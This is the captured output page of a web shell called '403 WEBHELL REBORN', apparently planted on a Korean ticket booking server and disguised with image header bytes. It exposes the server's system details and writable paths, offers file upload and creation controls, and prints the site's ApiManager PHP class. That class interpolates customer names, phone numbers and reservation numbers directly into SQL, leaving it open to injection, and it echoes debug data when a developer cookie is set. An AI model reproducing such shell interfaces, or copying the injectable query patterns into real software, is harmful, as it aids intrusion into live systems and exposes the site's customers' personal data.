ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/LibClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/LibClass/ApiManager.class.php
<?
/******************************************************************************
 * 
 * API 연동 제어 클래스
 * 
 ******************************************************************************/
class ApiManager{

	private static $producer_id = '';
	private static $obj = '';
	private static $_error = '';
	private static $test = false;

	function __construct($producer_id)
	{
		switch($producer_id){
			case 'vivaldipark' :
				include_once PARTNER_DIR . "/sono/class.SonoManager.php";
				if(!self::$obj){
					self::$obj = new SonoManager();
				}
				break;
			case 'ticketmanager' :
				break;
			default : 
				$producer_id = 'ticketmanager';
				break;
		}

		self::$producer_id = $producer_id;
	}

	// 공급처 상품조회
	function searchProduct($prdt_no) {
		$producer_id = self::$producer_id;

		switch($producer_id){
			case 'vivaldipark' :
				$api_result = self::$obj->searchProductDetail($prdt_no);
				if($api_result['resultCode'] != '0000'){
					$this->error('API 오류.' . $api_result['resultMsg']);
				}

				$prdt_info = $api_result['ticketInfo'][0];

				$result = array(
					'valid_start' => $prdt_info['vaildThruBgnYmd'], // 유효시작
					'valid_end' => $prdt_info['vaildThruEndYmd'], // 유효만료
					'ticket_nm' => $prdt_info['ticketNm'], // 티켓명
				);
				break;
		}

		return $result;
	}

	// 공급처 티켓 발권 (정상 시 0000 리턴 필)
	function ticketing($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no, $generation, $reserve_dt, $status) {
		$producer_id = self::$producer_id;

		if(devCookie()){
			p($producer_id);
		}

		Log::save(sprintf("%s(%d) Product ID : %s", __FILE__, __LINE__, $producer_id), '', date('Ym'));
		Log::save(sprintf("%s(%d) rsv_no, status : %s %s", __FILE__, __LINE__, $rsv_no, $status), '', date('Ym'));

		switch($producer_id){
			// 티켓관리
			case 'ticketmanager' :
				//p($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no, $generation, $reserve_dt);

				if($Qty <= 0 || $Qty == '') $Qty = 1;

				// 필요한 수량만큼 미사용티켓 불러옴
				$sql = "select * from TB_TICKET where group_code = '{$ticketNo}' and rsv_no='' and ticket_status = 'W' and ti_use_dt = '0000-00-00 00:00:00' and del_flag = 'N' limit {$Qty}";

//				if(devCookie()){
//					p($sql);
//				}
				$rs = db_query($sql);

				$api_result['resultCode'] = "0000";

				while ($row = db_fetch_array($rs)) {
					// 티켓 배정
					$sql = "update TB_TICKET set ti_send_dt = now(),rsv_no='{$rsv_no}', ti_cust_nm='{$userName}', ti_cust_hp='{$userTel}', ti_generation='{$generation}', ti_reserve_dt = '{$reserve_dt}' where seq = {$row['seq']} limit 1";

					Log::save(sprintf("%s(%d) Ticket Update : %s", __FILE__, __LINE__, $sql), '', date('Ym'));
					db_query($sql);

					// 티켓 이력관리 추가
					TO_ticket_history_ins($row['seq'], "티켓 배정");

					// 결과
					$api_result['data'][] = array(
						'ticket_seq'	=> $row['seq'],
						'ticket_number'	=> $row['ticket_number'], // 티켓번호
					);
				}

				break;

			// 대명 SONO
			case 'vivaldipark' :
				// 티켓상품정보
				$data = $this->searchProduct($ticketNo);
				$data['rsv_no'] = $rsv_no;
				$data['cust_nm'] = $userName;
				$data['cust_hp'] = $userTel;
				$data['generation'] = $generation;
				$data['reserve_dt'] = $reserve_dt;
				$data['group_code'] = $ticketNo;

				if($_COOKIE['ty_dev'] == 1){
					echo '<pre>';
					var_dump('ticketNo is '.$ticketNo);
					var_dump('Qty is '.$Qty);
					var_dump('Dt is '.$Dt);
					var_dump('userName is '.$userName);
					var_dump('userTel is '.$userTel);
					var_dump('rsv_no is '.$rsv_no);
					echo '</pre>';
				}

				// 티켓발권
				$api_result = self::$obj->ticketing($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no);
				if($api_result['resultCode'] != '0000'){
					Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym'));
					$this->error('API 오류.' . $api_result['resultMsg']);
				}

				$ticketNoInfo = $api_result['ticketNoInfo'];

				if($_COOKIE['ty_dev'] == 1){

					echo '<pre>';
					var_dump($api_result);
					echo '</pre>';

				}

				foreach($ticketNoInfo as $k => $v) {
					$resultTicketNo = $v['resultTicketNo'];
					$ticket_number = $v['randomNumber'];

					if($ticket_number == ''){
						$ticket_number = $resultTicketNo;
					}

					// 티켓관리에 티켓 등록 (발권 시 함께 등록)
					$this->ticket_regiser($ticket_number, $data);

					// 결과
					$api_result['data'][] = array(
						'ticket_seq'	=> $row['seq'],
						'ticket_id'		=> $resultTicketNo, // 티켓 일련번호
						'ticket_number'	=> $ticket_number, // 티켓번호
					);

				}

				break;
		}

		// 티켓 발권과 함께 티켓상태변경(발송완료) 처리
		if($status == 'S' && count($api_result['data']) > 1){

			$ticket_list = $api_result['data'];


//			if(devCookie()){

				$res_data2 = res_good_master(" and rsv_no='{$rsv_no}' ");
				$row_res2 = res_good_master_replace($res_data2[0]);

				$isYanolja = false;

				if($row_res2['agent_id'] == 'yanolja'){
					$isYanolja = true;
					$b2b_api_data = $row_res2['b2b_api_data'];
					$b2b_voucher = $row_res2['b2b_voucher'];
					$b2b_api_data_arr = json_decode($b2b_api_data,true);
				}

				Log::save(sprintf("%s(%d) TICKET b2b_api_data %s", __FILE__, __LINE__, json_encode($b2b_api_data)), '', date('Ym'));

				$ticketSeq = 0;

				foreach($ticket_list as $k => $v){
					// 상태 (미사용 > 발송완료), 발송시간, 발송방법(SMS, LMS, MMS, AT, API)
					$sql = "update TB_TICKET set ticket_status = 'S', ti_send_dt = now(), ti_send_method = 'API', ti_send_hp = '' where seq = '{$v['ticket_seq']}'";
					db_query($sql);

					Log::save(sprintf("%s(%d) TICKET UPDATE %s", __FILE__, __LINE__, $sql), '', date('Ym'));

					// 티켓 이력관리 추가
					TO_ticket_history_ins($v['ticket_seq'], "API 발송완료");

					// 티켓 이력관리2 추가
					$orderCd = "";

					if($isYanolja){
						$orderCd = $b2b_api_data_arr[$b2b_voucher]['passengers'][$ticketSeq]['orderCd'];
						Log::save(sprintf("%s(%d) TICKET orderCd %s", __FILE__, __LINE__, $orderCd), '', date('Ym'));

						Log::save(sprintf("%s(%d) TICKET orderCd row_res2 %s", __FILE__, __LINE__, json_encode($row_res2)), '', date('Ym'));
					}

					Log::save(sprintf("%s(%d) TICKET orderCd isYanolja %s", __FILE__, __LINE__, $isYanolja), '', date('Ym'));

					TO_ticket_history_status_ins($v['ticket_seq'], 'S', $orderCd);

					$ticketSeq++;
				}

			/*}else{
				foreach($ticket_list as $k => $v){
					// 상태 (미사용 > 발송완료), 발송시간, 발송방법(SMS, LMS, MMS, AT, API)
					$sql = "update TB_TICKET set ticket_status = 'S', ti_send_dt = now(), ti_send_method = 'API', ti_send_hp = '' where seq = '{$v['ticket_seq']}'";
					db_query($sql);

					Log::save(sprintf("%s(%d) TICKET UPDATE %s", __FILE__, __LINE__, $sql), '', date('Ym'));

					// 티켓 이력관리 추가
					TO_ticket_history_ins($v['ticket_seq'], "API 발송완료");

					// 티켓 이력관리2 추가
					TO_ticket_history_status_ins($v['ticket_seq'], 'S');
				}
			}*/



		}

		return $api_result;
	}

	// 티켓관리 티켓등록
	function ticket_regiser($ticket_number, $data) {

		$producer_id = self::$producer_id;

		if($ticket_number == '') return;

		switch($producer_id){
			case 'vivaldipark' :
				$rsv_no			= $data['rsv_no'];
				$mb_id			= "";
				$ticket_status	= 'W'; // W 미사용 S 발송완료
				$ticket_nm		= $data['ticket_nm'];
				$group_code		= $data['group_code'];
				$generation		= $data['generation'];
				$valid_start	= $data['valid_start'];
				$valid_end		= $data['valid_end'];
				$cust_nm		= $data['cust_nm'];
				$cust_hp		= $data['cust_hp'];
				$reserve_dt		= $data['reserve_dt'];
				break;
		}

		$sql = "insert into TB_TICKET set ";
		$sql .= " rsv_no='{$rsv_no}'";
		$sql .= " ,ticket_nm='{$ticket_nm}'";
		$sql .= " ,group_code='{$group_code}'";
		$sql .= " ,producer_id='{$producer_id}'";
		$sql .= " ,ti_generation='{$generation}'";
		$sql .= " ,ti_valid_start='{$valid_start}'";
		$sql .= " ,ti_valid_end='{$valid_end}'";
		$sql .= " ,ticket_number='{$ticket_number}'";
		$sql .= " ,ti_reserve_dt='{$reserve_dt}'";
		$sql .= " ,ti_cust_nm='{$cust_nm}'";
		$sql .= " ,ti_cust_hp='{$cust_hp}'";
		$sql .= " ,ins_id='API'";
		$sql .= " ,ins_dt=now()";
		
		db_query($sql);

		// 티켓 이력관리 추가
		$ticket_seq = db_insert_id();
		TO_ticket_history_ins($ticket_seq, "API 티켓 등록");

		Log::save(sprintf("%s(%d) 티켓 등록 : %s ", __FILE__, __LINE__, $sql), '', date('Ym'));
	}

	// 공급처 티켓취소 (주문번호기준 rsv_no)
	function cancelling($orderNo) {
		$producer_id = self::$producer_id;

		switch($producer_id){
			case 'vivaldipark' :
				$api_result = self::$obj->cancelOrderNo($orderNo); // 주문번호 기준 취소
				if($api_result['resultCode'] != '0000'){
					Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym'));
					$this->error('API 오류.' . $api_result['resultMsg']);
				}

	 			Log::save(sprintf("%s(%d) 취소 API 성공 %s", __FILE__, __LINE__, $sql), '', date('Ym'));

				break;

			case 'ticketmanager' :

				$ticket_data = TO_list_ticket($orderNo);
				$api_result['resultCode'] = '0000';

				foreach($ticket_data as $k => $v){
					if($v['ticket_status'] != 'S'){
						$error_msg = 'API 취소 오류 : 티켓 상태가 올바르지 않습니다.';
						Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $error_msg), '', date('Ym'));
						$this->error($error_msg);
					}
				}

				foreach($ticket_data as $k => $v){

					// 티켓 이력관리 추가 (취소 전 추가)
					TO_ticket_history_status_ins($v['seq'], 'C');

					$ti_memo = $v['ti_memo'] . $v['ti_cust_nm'] . '에 의한 티켓 취소';
					// 상태 (발송완료 > 미사용)
					$sql = "update TB_TICKET set ticket_status = 'W', rsv_no = '', ti_reserve_dt = '0000-00-00', ti_send_dt = '0000-00-00 00:00:00', ti_send_method = '', ti_cust_nm = '', ti_cust_hp = '', ti_memo = '{$ti_memo}' where seq = '{$v['seq']}'";
					db_query($sql);

					Log::save(sprintf("%s(%d) TICKET UPDATE :  %s", __FILE__, __LINE__, $sql), '', date('Ym'));

					// 티켓 이력관리 추가
					TO_ticket_history_ins($v['seq'], "API에 의한 티켓 취소 및 초기화");
				}

				if($api_result['resultCode'] != '0000'){
					Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym'));
					$this->error('API 오류.' . $api_result['resultMsg']);
				}

				break;
		}

		return $api_result;
	}

	// 공급처 티켓취소 (티켓기준)
	function ticket_cancel($ticketNo) {
		$producer_id = self::$producer_id;

		switch($producer_id){
			case 'vivaldipark' :
				$api_result = self::$obj->cancelTicketNo($ticketNo); // 주문번호 기준 취소
				if($api_result['resultCode'] != '0000'){
					Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym'));
					$this->error('API 오류.' . $api_result['resultMsg']);
				}

	 			Log::save(sprintf("%s(%d) 취소 API 성공 %s", __FILE__, __LINE__, $sql), '', date('Ym'));

				break;
		}

		return $api_result;
	}

	public function error($msg)
	{

		self::$_error = $msg;

		Log::save(sprintf("%s(%d) Error  : %s", __FILE__, __LINE__, self::$_error), '', date('Ym'));

		if(self::$test){ p("MSG ", $msg); }

		$result['resultCode'] = '9999';
		$result['resultMsg'] = $msg;

		return $result;
	}

}

Anon7 - 2021